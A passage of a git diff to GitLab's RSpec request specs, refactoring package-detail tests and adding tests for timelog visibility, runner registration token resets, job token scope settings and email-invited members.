return {} if user_role == :anonymous
diff --git a/spec/requests/api/go_proxy_spec.rb b/spec/requests/api/go_proxy_spec.rb
index e678b6cf1c8..0143340de11 100644
--- a/spec/requests/api/go_proxy_spec.rb
+++ b/spec/requests/api/go_proxy_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe API::GoProxy do
let_it_be(:base) { "#{Settings.build_gitlab_go_url}/#{project.full_path}" }
let_it_be(:oauth) { create :oauth_access_token, scopes: 'api', resource_owner: user }
- let_it_be(:job) { create :ci_build, user: user, status: :running }
+ let_it_be(:job) { create :ci_build, user: user, status: :running, project: project }
let_it_be(:pa_token) { create :personal_access_token, user: user }
let_it_be(:modules) do
diff --git a/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb b/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb
index 99647d0fa3a..578a71a7272 100644
--- a/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb
+++ b/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb
@@ -47,6 +47,7 @@ RSpec.describe 'Getting Ci Cd Setting' do
expect(settings_data['mergePipelinesEnabled']).to eql project.ci_cd_settings.merge_pipelines_enabled?
expect(settings_data['mergeTrainsEnabled']).to eql project.ci_cd_settings.merge_trains_enabled?
expect(settings_data['keepLatestArtifact']).to eql project.keep_latest_artifacts_available?
+ expect(settings_data['jobTokenScopeEnabled']).to eql project.ci_cd_settings.job_token_scope_enabled?
end
end
end
diff --git a/spec/requests/api/graphql/group/group_members_spec.rb b/spec/requests/api/graphql/group/group_members_spec.rb
index 452610ab18f..31cb0393d7f 100644
--- a/spec/requests/api/graphql/group/group_members_spec.rb
+++ b/spec/requests/api/graphql/group/group_members_spec.rb
@@ -14,6 +14,23 @@ RSpec.describe 'getting group members information' do
[user_1, user_2].each { |user| parent_group.add_guest(user) }
end
+ context 'when a member is invited only via email' do
+ before do
+ create(:group_member, :invited, source: parent_group)
+ end
+
+ it 'returns null in the user field' do
+ fetch_members(group: parent_group, args: { relations: [:DIRECT] })
+
+ expect(graphql_errors).to be_nil
+ expect(graphql_data_at(:group, :group_members, :edges, :node)).to contain_exactly(
+ { 'user' => { 'id' => global_id_of(user_1) } },
+ { 'user' => { 'id' => global_id_of(user_2) } },
+ 'user' => nil
+ )
+ end
+ end
+
context 'when the request is correct' do
it_behaves_like 'a working graphql query' do
before do
diff --git a/spec/requests/api/graphql/group/milestones_spec.rb b/spec/requests/api/graphql/group/milestones_spec.rb
index 601cab6aade..2b80b5239c8 100644
--- a/spec/requests/api/graphql/group/milestones_spec.rb
+++ b/spec/requests/api/graphql/group/milestones_spec.rb
@@ -40,6 +40,13 @@ RSpec.describe 'Milestones through GroupQuery' do
expect_array_response(milestone_2.to_global_id.to_s, milestone_3.to_global_id.to_s)
end
+
+ it 'fetches milestones between timeframe start and end arguments' do
+ today = Date.today
+ fetch_milestones(user, { timeframe: { start: today.to_s, end: (today + 2.days).to_s } })
+
+ expect_array_response(milestone_2.to_global_id.to_s, milestone_3.to_global_id.to_s)
+ end
end
context 'when filtering by state' do
diff --git a/spec/requests/api/graphql/group/timelogs_spec.rb b/spec/requests/api/graphql/group/timelogs_spec.rb
index 6e21a73afa9..05b6ee3ff89 100644
--- a/spec/requests/api/graphql/group/timelogs_spec.rb
+++ b/spec/requests/api/graphql/group/timelogs_spec.rb
@@ -17,8 +17,37 @@ RSpec.describe 'Timelogs through GroupQuery' do
let(:timelogs_data) { graphql_data['group']['timelogs']['nodes'] }
- before do
- group.add_developer(user)
+ context 'when the project is private' do
+ let_it_be(:group2) { create(:group) }
+ let_it_be(:project2) { create(:project, :private, group: group2) }
+ let_it_be(:issue2) { create(:issue, project: project2) }
+ let_it_be(:timelog3) { create(:timelog, issue: issue2, spent_at: '2019-08-13 14:00:00') }
+
+ subject { post_graphql(query(full_path: group2.full_path), current_user: user) }
+
+ context 'when the user is not a member of the project' do
+ it 'returns no timelogs' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(graphql_errors).to be_nil
+ expect(timelog_array.size).to eq 0
+ end
+ end
+
+ context 'when the user is a member of the project' do
+ before do
+ project2.add_developer(user)
+ end
+
+ it 'returns timelogs' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(graphql_errors).to be_nil
+ expect(timelog_array.size).to eq 1
+ end
+ end
end
context 'when the request is correct' do
@@ -74,18 +103,6 @@ RSpec.describe 'Timelogs through GroupQuery' do
expect(timelogs_data).to be_empty
end
end
-
- context 'when user has no permission to read group timelogs' do
- it 'returns empty result' do
- guest = create(:user)
- group.add_guest(guest)
- post_graphql(query, current_user: guest)
-
- expect(response).to have_gitlab_http_status(:success)
- expect(graphql_errors).to be_nil
- expect(timelogs_data).to be_empty
- end
- end
end
end
@@ -95,7 +112,7 @@ RSpec.describe 'Timelogs through GroupQuery' do
end
end
- def query(timelog_params = params)
+ def query(timelog_params: params, full_path: group.full_path)
timelog_nodes = <<~NODE
nodes {
spentAt
@@ -114,7 +131,7 @@ RSpec.describe 'Timelogs through GroupQuery' do
graphql_query_for(
:group,
- { full_path: group.full_path },
+ { full_path: full_path },
query_graphql_field(:timelogs, timelog_params, timelog_nodes)
)
end
diff --git a/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb b/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
index 0dcae28ac5d..0d7571d91ca 100644
--- a/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
+++ b/spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
@@ -5,8 +5,16 @@ require 'spec_helper'
RSpec.describe 'CiCdSettingsUpdate' do
include GraphqlHelpers
- let_it_be(:project) { create(:project, keep_latest_artifact: true) }
- let(:variables) { { full_path: project.full_path, keep_latest_artifact: false } }
+ let_it_be(:project) { create(:project, keep_latest_artifact: true, ci_job_token_scope_enabled: true) }
+
+ let(:variables) do
+ {
+ full_path: project.full_path,
+ keep_latest_artifact: false,
+ job_token_scope_enabled: false
+ }
+ end
+
let(:mutation) { graphql_mutation(:ci_cd_settings_update, variables) }
context 'when unauthorized' do
@@ -45,6 +53,26 @@ RSpec.describe 'CiCdSettingsUpdate' do
expect(project.keep_latest_artifact).to eq(false)
end
+ it 'updates job_token_scope_enabled' do
+ post_graphql_mutation(mutation, current_user: user)
+
+ project.reload
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(project.ci_job_token_scope_enabled).to eq(false)
+ end
+
+ it 'does not update job_token_scope_enabled if not specified' do
+ variables.except!(:job_token_scope_enabled)
+
+ post_graphql_mutation(mutation, current_user: user)
+
+ project.reload
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(project.ci_job_token_scope_enabled).to eq(true)
+ end
+
context 'when bad arguments are provided' do
let(:variables) { { full_path: '', keep_latest_artifact: false } }
diff --git a/spec/requests/api/graphql/mutations/ci/runners_registration_token/reset_spec.rb b/spec/requests/api/graphql/mutations/ci/runners_registration_token/reset_spec.rb
new file mode 100644
index 00000000000..07b05ead651
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/ci/runners_registration_token/reset_spec.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'RunnersRegistrationTokenReset' do
+ include GraphqlHelpers
+
+ let(:mutation) { graphql_mutation(:runners_registration_token_reset, input) }
+ let(:mutation_response) { graphql_mutation_response(:runners_registration_token_reset) }
+
+ subject { post_graphql_mutation(mutation, current_user: user) }
+
+ shared_examples 'unauthorized' do
+ it 'returns an error' do
+ subject
+
+ expect(graphql_errors).not_to be_empty
+ expect(graphql_errors).to include(a_hash_including('message' => "The resource that you are attempting to access does not exist or you don't have permission to perform this action"))
+ expect(mutation_response).to be_nil
+ end
+ end
+
+ shared_context 'when unauthorized' do |scope|
+ context 'when unauthorized' do
+ let_it_be(:user) { create(:user) }
+
+ context "when not a #{scope} member" do
+ it_behaves_like 'unauthorized'
+ end
+
+ context "with a non-admin #{scope} member" do
+ before do
+ target.add_developer(user)
+ end
+
+ it_behaves_like 'unauthorized'
+ end
+ end
+ end
+
+ shared_context 'when authorized' do |scope|
+ it 'resets runner registration token' do
+ expect { subject }.to change { get_token }
+ expect(response).to have_gitlab_http_status(:success)
+
+ expect(mutation_response).not_to be_nil
+ expect(mutation_response['errors']).to be_empty
+ expect(mutation_response['token']).not_to be_empty
+ expect(mutation_response['token']).to eq(get_token)
+ end
+
+ context 'when malformed id is provided' do
+ let(:input) { { type: "#{scope.upcase}_TYPE", id: 'some string' } }
+
+ it 'returns errors' do
+ expect { subject }.not_to change { get_token }
+
+ expect(graphql_errors).not_to be_empty
+ expect(mutation_response).to be_nil
+ end
+ end
+ end
+
+ context 'applied to project' do
+ let_it_be(:project) { create_default(:project) }
+
+ let(:input) { { type: 'PROJECT_TYPE', id: project.to_global_id.to_s } }
+
+ include_context 'when unauthorized', 'project' do
+ let(:target) { project }
+ end
+
+ include_context 'when authorized', 'project' do
+ let_it_be(:user) { project.owner }
+
+ def get_token
+ project.reload.runners_token
+ end
+ end
+ end
+
+ context 'applied to group' do
+ let_it_be(:group) { create_default(:group) }
+
+ let(:input) { { type: 'GROUP_TYPE', id: group.to_global_id.to_s } }
+
+ include_context 'when unauthorized', 'group' do
+ let(:target) { group }
+ end
+
+ include_context 'when authorized', 'group' do
+ let_it_be(:user) { create_default(:group_member, :maintainer, user: create(:user), group: group ).user }
+
+ def get_token
+ group.reload.runners_token
+ end
+ end
+ end
+
+ context 'applied to instance' do
+ before do
+ ApplicationSetting.create_from_defaults
+ stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
+ end
+
+ let(:input) { { type: 'INSTANCE_TYPE' } }
+
+ context 'when unauthorized' do
+ let(:user) { create(:user) }
+
+ it_behaves_like 'unauthorized'
+ end
+
+ include_context 'when authorized', 'instance' do
+ let_it_be(:user) { create(:user, :admin) }
+
+ def get_token
+ ApplicationSetting.current_without_cache.runners_registration_token
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/labels/create_spec.rb b/spec/requests/api/graphql/mutations/labels/create_spec.rb
index ca3ccc8e06c..28284408306 100644
--- a/spec/requests/api/graphql/mutations/labels/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/labels/create_spec.rb
@@ -11,8 +11,7 @@ RSpec.describe Mutations::Labels::Create do
{
'title' => 'foo',
'description' => 'some description',
- 'color' => '#FF0000',
- 'removeOnClose' => true
+ 'color' => '#FF0000'
}
end
diff --git a/spec/requests/api/graphql/mutations/snippets/create_spec.rb b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
index d944c9e9e57..214c804c519 100644
--- a/spec/requests/api/graphql/mutations/snippets/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
@@ -86,7 +86,7 @@ RSpec.describe 'Creating a Snippet' do
it 'passes disable_spam_action_service param to service' do
expect(::Snippets::CreateService)
.to receive(:new)
- .with(anything, anything, hash_including(disable_spam_action_service: true))
+ .with(project: anything, current_user: anything, params: hash_including(disable_spam_action_service: true))
.and_call_original
subject
@@ -190,7 +190,7 @@ RSpec.describe 'Creating a Snippet' do
it do
expect(::Snippets::CreateService).to receive(:new)
- .with(nil, user, hash_including(files: expected_value))
+ .with(project: nil, current_user: user, params: hash_including(files: expected_value))
.and_return(double(execute: creation_response))
subject
diff --git a/spec/requests/api/graphql/mutations/snippets/update_spec.rb b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
index 28ab593526a..77efb786dcb 100644
--- a/spec/requests/api/graphql/mutations/snippets/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe 'Updating a Snippet' do
it 'passes disable_spam_action_service param to service' do
expect(::Snippets::UpdateService)
.to receive(:new)
- .with(anything, anything, hash_including(disable_spam_action_service: true))
+ .with(project: anything, current_user: anything, params: hash_including(disable_spam_action_service: true))
.and_call_original
subject
diff --git a/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb b/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb
index 705ef28ffd4..8f92105dc9c 100644
--- a/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb
+++ b/spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb
@@ -22,8 +22,8 @@ RSpec.describe 'Marking all todos done' do
graphql_mutation(:todos_mark_all_done, input,
<<-QL.strip_heredoc
clientMutationId
+ todos { id }
errors
- updatedIds
QL
)
end
@@ -40,7 +40,7 @@ RSpec.describe 'Marking all todos done' do
expect(todo3.reload.state).to eq('done')
expect(other_user_todo.reload.state).to eq('pending')
- updated_todo_ids = mutation_response['updatedIds']
+ updated_todo_ids = mutation_response['todos'].map { |todo| todo['id'] }
expect(updated_todo_ids).to contain_exactly(global_id_of(todo1), global_id_of(todo3))
end
@@ -52,7 +52,7 @@ RSpec.describe 'Marking all todos done' do
expect(todo3.reload.state).to eq('pending')
expect(other_user_todo.reload.state).to eq('pending')
- updated_todo_ids = mutation_response['updatedIds']
+ updated_todo_ids = mutation_response['todos']
expect(updated_todo_ids).to be_empty
end
diff --git a/spec/requests/api/graphql/mutations/todos/restore_many_spec.rb b/spec/requests/api/graphql/mutations/todos/restore_many_spec.rb
index 3e96d5c5058..e71a232ff7c 100644
--- a/spec/requests/api/graphql/mutations/todos/restore_many_spec.rb
+++ b/spec/requests/api/graphql/mutations/todos/restore_many_spec.rb
@@ -22,7 +22,6 @@ RSpec.describe 'Restoring many Todos' do
<<-QL.strip_heredoc
clientMutationId
errors
- updatedIds
todos {
id
state
@@ -44,7 +43,6 @@ RSpec.describe 'Restoring many Todos' do
expect(mutation_response).to include(
'errors' => be_empty,
- 'updatedIds' => match_array(input_ids),
'todos' => contain_exactly(
{ 'id' => global_id_of(todo1), 'state' => 'pending' },
{ 'id' => global_id_of(todo2), 'state' => 'pending' }
diff --git a/spec/requests/api/graphql/packages/composer_spec.rb b/spec/requests/api/graphql/packages/composer_spec.rb
index 34137a07c34..9830623ede8 100644
--- a/spec/requests/api/graphql/packages/composer_spec.rb
+++ b/spec/requests/api/graphql/packages/composer_spec.rb
@@ -3,62 +3,35 @@ require 'spec_helper'
RSpec.describe 'package details' do
include GraphqlHelpers
+ include_context 'package details setup'
- let_it_be(:project) { create(:project) }
- let_it_be(:composer_package) { create(:composer_package, project: project) }
+ let_it_be(:package) { create(:composer_package, project: project) }
let_it_be(:composer_json) { { name: 'name', type: 'type', license: 'license', version: 1 } }
let_it_be(:composer_metadatum) do
# we are forced to manually create the metadatum, without using the factory to force the sha to be a string
# and avoid an error where gitaly can't find the repository
- create(:composer_metadatum, package: composer_package, target_sha: 'foo_sha', composer_json: composer_json)
+ create(:composer_metadatum, package: package, target_sha: 'foo_sha', composer_json: composer_json)
end
- let(:depth) { 3 }
- let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline packageFiles] }
let(:metadata) { query_graphql_fragment('ComposerMetadata') }
- let(:package_files) { all_graphql_fields_for('PackageFile') }
- let(:user) { project.owner }
- let(:package_global_id) { global_id_of(composer_package) }
- let(:package_details) { graphql_data_at(:package) }
- let(:metadata_response) { graphql_data_at(:package, :metadata) }
let(:package_files_response) { graphql_data_at(:package, :package_files, :nodes) }
- let(:query) do
- graphql_query_for(:package, { id: package_global_id }, <<~FIELDS)
- #{all_graphql_fields_for('PackageDetailsType', max_depth: depth, excluded: excluded)}
- metadata {
- #{metadata}
- }
- packageFiles {
- nodes {
- #{package_files}
- }
- }
- FIELDS
- end
-
subject { post_graphql(query, current_user: user) }
before do
subject
end
- it_behaves_like 'a working graphql query' do
- it 'matches the JSON schema' do
- expect(package_details).to match_schema('graphql/packages/package_details')
- end
- end
+ it_behaves_like 'a package detail'
- describe 'Composer' do
- it 'has the correct metadata' do
- expect(metadata_response).to include(
- 'targetSha' => 'foo_sha',
- 'composerJson' => composer_json.transform_keys(&:to_s).transform_values(&:to_s)
- )
- end
+ it 'has the correct metadata' do
+ expect(metadata_response).to include(
+ 'targetSha' => 'foo_sha',
+ 'composerJson' => composer_json.transform_keys(&:to_s).transform_values(&:to_s)
+ )
+ end
- it 'does not have files' do
- expect(package_files_response).to be_empty
- end
+ it 'does not have files' do
+ expect(package_files_response).to be_empty
end
end
diff --git a/spec/requests/api/graphql/packages/conan_spec.rb b/spec/requests/api/graphql/packages/conan_spec.rb
index dc64c5057d5..84c5af33e5d 100644
--- a/spec/requests/api/graphql/packages/conan_spec.rb
+++ b/spec/requests/api/graphql/packages/conan_spec.rb
@@ -3,26 +3,13 @@ require 'spec_helper'
RSpec.describe 'conan package details' do
include GraphqlHelpers
+ include_context 'package details setup'
- let_it_be(:project) { create(:project) }
- let_it_be(:conan_package) { create(:conan_package, project: project) }
+ let_it_be(:package) { create(:conan_package, project: project) }
- let(:package_global_id) { global_id_of(conan_package) }
let(:metadata) { query_graphql_fragment('ConanMetadata') }
- let(:first_file) { conan_package.package_files.find { |f| global_id_of(f) == first_file_response['id'] } }
-
- let(:depth) { 3 }
- let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline packageFiles] }
- let(:package_files) { all_graphql_fields_for('PackageFile') }
let(:package_files_metadata) {query_graphql_fragment('ConanFileMetadata')}
- let(:user) { project.owner }
- let(:package_details) { graphql_data_at(:package) }
- let(:metadata_response) { graphql_data_at(:package, :metadata) }
- let(:package_files_response) { graphql_data_at(:package, :package_files, :nodes) }
- let(:first_file_response) { graphql_data_at(:package, :package_files, :nodes, 0)}
- let(:first_file_response_metadata) { graphql_data_at(:package, :package_files, :nodes, 0, :file_metadata)}
-
let(:query) do
graphql_query_for(:package, { id: package_global_id }, <<~FIELDS)
#{all_graphql_fields_for('PackageDetailsType', max_depth: depth, excluded: excluded)}
@@ -46,35 +33,16 @@ RSpec.describe 'conan package details' do
subject
end
- it_behaves_like 'a working graphql query' do
- it 'matches the JSON schema' do
- expect(package_details).to match_schema('graphql/packages/package_details')
- end
- end
+ it_behaves_like 'a package detail'
+ it_behaves_like 'a package with files'
it 'has the correct metadata' do
expect(metadata_response).to include(
- 'id' => global_id_of(conan_package.conan_metadatum),
- 'recipe' => conan_package.conan_metadatum.recipe,
- 'packageChannel' => conan_package.conan_metadatum.package_channel,
- 'packageUsername' => conan_package.conan_metadatum.package_username,
- 'recipePath' => conan_package.conan_metadatum.recipe_path
- )
- end
-
- it 'has the right amount of files' do
- expect(package_files_response.length).to be(conan_package.package_files.length)
- end
-
- it 'has the basic package files data' do
- expect(first_file_response).to include(
- 'id' => global_id_of(first_file),
- 'fileName' => first_file.file_name,
- 'size' => first_file.size.to_s,
- 'downloadPath' => first_file.download_path,
- 'fileSha1' => first_file.file_sha1,
- 'fileMd5' => first_file.file_md5,
- 'fileSha256' => first_file.file_sha256
+ 'id' => global_id_of(package.conan_metadatum),
+ 'recipe' => package.conan_metadatum.recipe,
+ 'packageChannel' => package.conan_metadatum.package_channel,
+ 'packageUsername' => package.conan_metadatum.package_username,
+ 'recipePath' => package.conan_metadatum.recipe_path
)
end
diff --git a/spec/requests/api/graphql/packages/maven_spec.rb b/spec/requests/api/graphql/packages/maven_spec.rb
index 8b6b5ea0986..d28d32b0df5 100644
--- a/spec/requests/api/graphql/packages/maven_spec.rb
+++ b/spec/requests/api/graphql/packages/maven_spec.rb
@@ -3,89 +3,51 @@ require 'spec_helper'
RSpec.describe 'maven package details' do
include GraphqlHelpers
+ include_context 'package details setup'
- let_it_be(:project) { create(:project) }
- let_it_be(:maven_package) { create(:maven_package, project: project) }
+ let_it_be(:package) { create(:maven_package, project: project) }
- let(:package_global_id) { global_id_of(maven_package) }
let(:metadata) { query_graphql_fragment('MavenMetadata') }
- let(:first_file) { maven_package.package_files.find { |f| global_id_of(f) == first_file_response['id'] } }
-
- let(:depth) { 3 }
- let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline packageFiles] }
- let(:package_files) { all_graphql_fields_for('PackageFile') }
-
- let(:user) { project.owner }
- let(:package_details) { graphql_data_at(:package) }
- let(:metadata_response) { graphql_data_at(:package, :metadata) }
- let(:package_files_response) { graphql_data_at(:package, :package_files, :nodes) }
- let(:first_file_response) { graphql_data_at(:package, :package_files, :nodes, 0)}
-
- let(:query) do
- graphql_query_for(:package, { id: package_global_id }, <<~FIELDS)
- #{all_graphql_fields_for('PackageDetailsType', max_depth: depth, excluded: excluded)}
- metadata {
- #{metadata}
- }
- packageFiles {
- nodes {
- #{package_files}
- }
- }
- FIELDS
- end
-
- subject { post_graphql(query, current_user: user) }
-
- shared_examples 'a working maven package' do
- before do
- subject
- end
-
- it_behaves_like 'a working graphql query' do
- it 'matches the JSON schema' do
- expect(package_details).to match_schema('graphql/packages/package_details')
- end
- end
+ shared_examples 'correct maven metadata' do
it 'has the correct metadata' do
expect(metadata_response).to include(
- 'id' => global_id_of(maven_package.maven_metadatum),
- 'path' => maven_package.maven_metadatum.path,
- 'appGroup' => maven_package.maven_metadatum.app_group,
- 'appVersion' => maven_package.maven_metadatum.app_version,
- 'appName' => maven_package.maven_metadatum.app_name
+ 'id' => global_id_of(package.maven_metadatum),
+ 'path' => package.maven_metadatum.path,
+ 'appGroup' => package.maven_metadatum.app_group,
+ 'appVersion' => package.maven_metadatum.app_version,
+ 'appName' => package.maven_metadatum.app_name
)
end
+ end
- it 'has the right amount of files' do
- expect(package_files_response.length).to be(maven_package.package_files.length)
- end
+ context 'a maven package with version' do
+ subject { post_graphql(query, current_user: user) }
- it 'has the basic package files data' do
- expect(first_file_response).to include(
- 'id' => global_id_of(first_file),
- 'fileName' => first_file.file_name,
- 'size' => first_file.size.to_s,
- 'downloadPath' => first_file.download_path,
- 'fileSha1' => first_file.file_sha1,
- 'fileMd5' => first_file.file_md5,
- 'fileSha256' => first_file.file_sha256
- )
+ before do
+ subject
end
- end
- context 'a maven package with version' do
- it_behaves_like "a working maven package"
+ it_behaves_like 'a package detail'
+ it_behaves_like 'correct maven metadata'
+ it_behaves_like 'a package with files'
end
context 'a versionless maven package' do
let_it_be(:maven_metadatum) { create(:maven_metadatum, app_version: nil) }
- let_it_be(:maven_package) { create(:maven_package, project: project, version: nil, maven_metadatum: maven_metadatum) }
+ let_it_be(:package) { create(:maven_package, project: project, version: nil, maven_metadatum: maven_metadatum) }
+
+ subject { post_graphql(query, current_user: user) }
+
+ before do
+ subject
+ end
- it_behaves_like "a working maven package"
+ it_behaves_like 'a package detail'
+ it_behaves_like 'correct maven metadata'
+ it_behaves_like 'a package with files'
- it "has an empty version" do
+ it 'has an empty version' do
subject
expect(metadata_response['appVersion']).to eq(nil)
diff --git a/spec/requests/api/graphql/packages/nuget_spec.rb b/spec/requests/api/graphql/packages/nuget_spec.rb
index fa9d8a0e37e..1de16009684 100644
--- a/spec/requests/api/graphql/packages/nuget_spec.rb
+++ b/spec/requests/api/graphql/packages/nuget_spec.rb
@@ -3,37 +3,11 @@ require 'spec_helper'
RSpec.describe 'nuget package details' do
include GraphqlHelpers
+ include_context 'package details setup'
- let_it_be(:project) { create(:project) }
- let_it_be(:nuget_package) { create(:nuget_package, :with_metadatum, project: project) }
+ let_it_be(:package) { create(:nuget_package, :with_metadatum, project: project) }
- let(:package_global_id) { global_id_of(nuget_package) }
let(:metadata) { query_graphql_fragment('NugetMetadata') }
- let(:first_file) { nuget_package.package_files.find { |f| global_id_of(f) == first_file_response['id'] } }
-
- let(:depth) { 3 }
- let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline packageFiles] }
- let(:package_files) { all_graphql_fields_for('PackageFile') }
-
- let(:user) { project.owner }
- let(:package_details) { graphql_data_at(:package) }
- let(:metadata_response) { graphql_data_at(:package, :metadata) }
- let(:package_files_response) { graphql_data_at(:package, :package_files, :nodes) }
- let(:first_file_response) { graphql_data_at(:package, :package_files, :nodes, 0)}
-
- let(:query) do
- graphql_query_for(:package, { id: package_global_id }, <<~FIELDS)
- #{all_graphql_fields_for('PackageDetailsType', max_depth: depth, excluded: excluded)}
- metadata {
- #{metadata}
- }
- packageFiles {
- nodes {
- #{package_files}
- }
- }
- FIELDS
- end
subject { post_graphql(query, current_user: user) }
@@ -41,34 +15,15 @@ RSpec.describe 'nuget package details' do
subject
end
- it_behaves_like 'a working graphql query' do
- it 'matches the JSON schema' do
- expect(package_details).to match_schema('graphql/packages/package_details')
- end
- end
+ it_behaves_like 'a package detail'
+ it_behaves_like 'a package with files'
it 'has the correct metadata' do
expect(metadata_response).to include(
- 'id' => global_id_of(nuget_package.nuget_metadatum),
- 'licenseUrl' => nuget_package.nuget_metadatum.license_url,
- 'projectUrl' => nuget_package.nuget_metadatum.project_url,
- 'iconUrl' => nuget_package.nuget_metadatum.icon_url
- )
- end
-
- it 'has the right amount of files' do
- expect(package_files_response.length).to be(nuget_package.package_files.length)
- end
-
- it 'has the basic package files data' do
- expect(first_file_response).to include(
- 'id' => global_id_of(first_file),
- 'fileName' => first_file.file_name,
- 'size' => first_file.size.to_s,
- 'downloadPath' => first_file.download_path,
- 'fileSha1' => first_file.file_sha1,
- 'fileMd5' => first_file.file_md5,
- 'fileSha256' => first_file.file_sha256
+ 'id' => global_id_of(package.nuget_metadatum),
+ 'licenseUrl' => package.nuget_metadatum.license_url,
+ 'projectUrl' => package.nuget_metadatum.project_url,
+ 'iconUrl' => package.nuget_metadatum.icon_url
)
end
end
diff --git a/spec/requests/api/graphql/packages/pypi_spec.rb b/spec/requests/api/graphql/packages/pypi_spec.rb
new file mode 100644
index 00000000000..64fe7d29a7a
--- /dev/null
+++ b/spec/requests/api/graphql/packages/pypi_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe 'pypi package details' do
+ include GraphqlHelpers
+ include_context 'package details setup'
+
+ let_it_be(:package) { create(:pypi_package, project: project) }
+
+ let(:metadata) { query_graphql_fragment('PypiMetadata') }
+
+ subject { post_graphql(query, current_user: user) }
+
+ before do
+ subject
+ end
+
+ it_behaves_like 'a package detail'
+ it_behaves_like 'a package with files'
+
+ it 'has the correct metadata' do
+ expect(metadata_response).to include(
+ 'id' => global_id_of(package.pypi_metadatum),
+ 'requiredPython' => package.pypi_metadatum.required_python
+ )
+ end
+end
diff --git a/spec/requests/api/graphql/project/base_service_spec.rb b/spec/requests/api/graphql/project/base_service_spec.rb
index 4dfc242da80..af462c4a639 100644
--- a/spec/requests/api/graphql/project/base_service_spec.rb
+++ b/spec/requests/api/graphql/project/base_service_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'query Jira service' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:jira_service) { create(:jira_service, project: project) }
- let_it_be(:bugzilla_service) { create(:bugzilla_service, project: project) }
+ let_it_be(:bugzilla_integration) { create(:bugzilla_integration, project: project) }
let_it_be(:redmine_service) { create(:redmine_service, project: project) }
let(:query) do
diff --git a/spec/requests/api/graphql/project/project_members_spec.rb b/spec/requests/api/graphql/project/project_members_spec.rb
index c08bb8dc0a0..466464f600c 100644
--- a/spec/requests/api/graphql/project/project_members_spec.rb
+++ b/spec/requests/api/graphql/project/project_members_spec.rb
@@ -50,6 +50,20 @@ RSpec.describe 'getting project members information' do
invited_group.add_guest(invited_user)
end
+ context 'when a member is invited only via email and current_user is a maintainer' do
+ before do
+ parent_project.add_maintainer(user)
+ create(:project_member, :invited, source: parent_project)
+ end
+
+ it 'returns null in the user field' do
+ fetch_members(project: parent_project, args: { relations: [:DIRECT] })
+
+ expect(graphql_errors).to be_nil
+ expect(graphql_data_at(:project, :project_members, :edges, :node)).to contain_exactly({ 'user' => { 'id' => global_id_of(user) } }, 'user' => nil)
+ end
+ end
+
it 'returns direct members' do
fetch_members(project: child_project, args: { relations: [:DIRECT] })
diff --git a/spec/requests/api/graphql/project/releases_spec.rb b/spec/requests/api/graphql/project/releases_spec.rb
index 43732c2ed18..8ccdb955ed9 100644
--- a/spec/requests/api/graphql/project/releases_spec.rb
+++ b/spec/requests/api/graphql/project/releases_spec.rb
@@ -295,75 +295,69 @@ RSpec.describe 'Query.project(fullPath).releases()' do
end
end
- describe 'sorting behavior' do
- let_it_be(:today) { Time.now }
- let_it_be(:yesterday) { today - 1.day }
- let_it_be(:tomorrow) { today + 1.day }
+ describe 'sorting and pagination' do
+ let_it_be(:sort_project) { create(:project, :public) }
- let_it_be(:project) { create(:project, :repository, :public) }
+ let(:data_path) { [:project, :releases] }
+ let(:current_user) { developer }
- let_it_be(:release_v1) { create(:release, project: project, tag: 'v1', released_at: yesterday, created_at: tomorrow) }
- let_it_be(:release_v2) { create(:release, project: project, tag: 'v2', released_at: today, created_at: yesterday) }
- let_it_be(:release_v3) { create(:release, project: project, tag: 'v3', released_at: tomorrow, created_at: today) }
-
- let(:current_user) { developer }
-
- let(:params) { nil }
-
- let(:sorted_tags) do
- graphql_data.dig('project', 'releases', 'nodes').map { |release| release['tagName'] }
- end
-
- let(:query) do
- graphql_query_for(:project, { fullPath: project.full_path },
- %{
- releases#{params ? "(#{params})" : ""} {
- nodes {
- tagName
- }
- }
- })
- end
-
- before do
- post_query
+ def pagination_query(params)
+ graphql_query_for(
+ :project,
+ { full_path: sort_project.full_path },
+ query_graphql_field(:releases, params, "#{page_info} nodes { tagName }")
+ )
end
- context 'when no sort: parameter is provided' do
- it 'returns the results with the default sort applied (sort: RELEASED_AT_DESC)' do
- expect(sorted_tags).to eq(%w(v3 v2 v1))
- end
+ def pagination_results_data(nodes)
+ nodes.map { |release| release['tagName'] }
end
- context 'with sort: RELEASED_AT_DESC' do
- let(:params) { 'sort: RELEASED_AT_DESC' }
-
- it 'returns the releases ordered by released_at in descending order' do
- expect(sorted_tags).to eq(%w(v3 v2 v1))
+ context 'when sorting by released_at' do
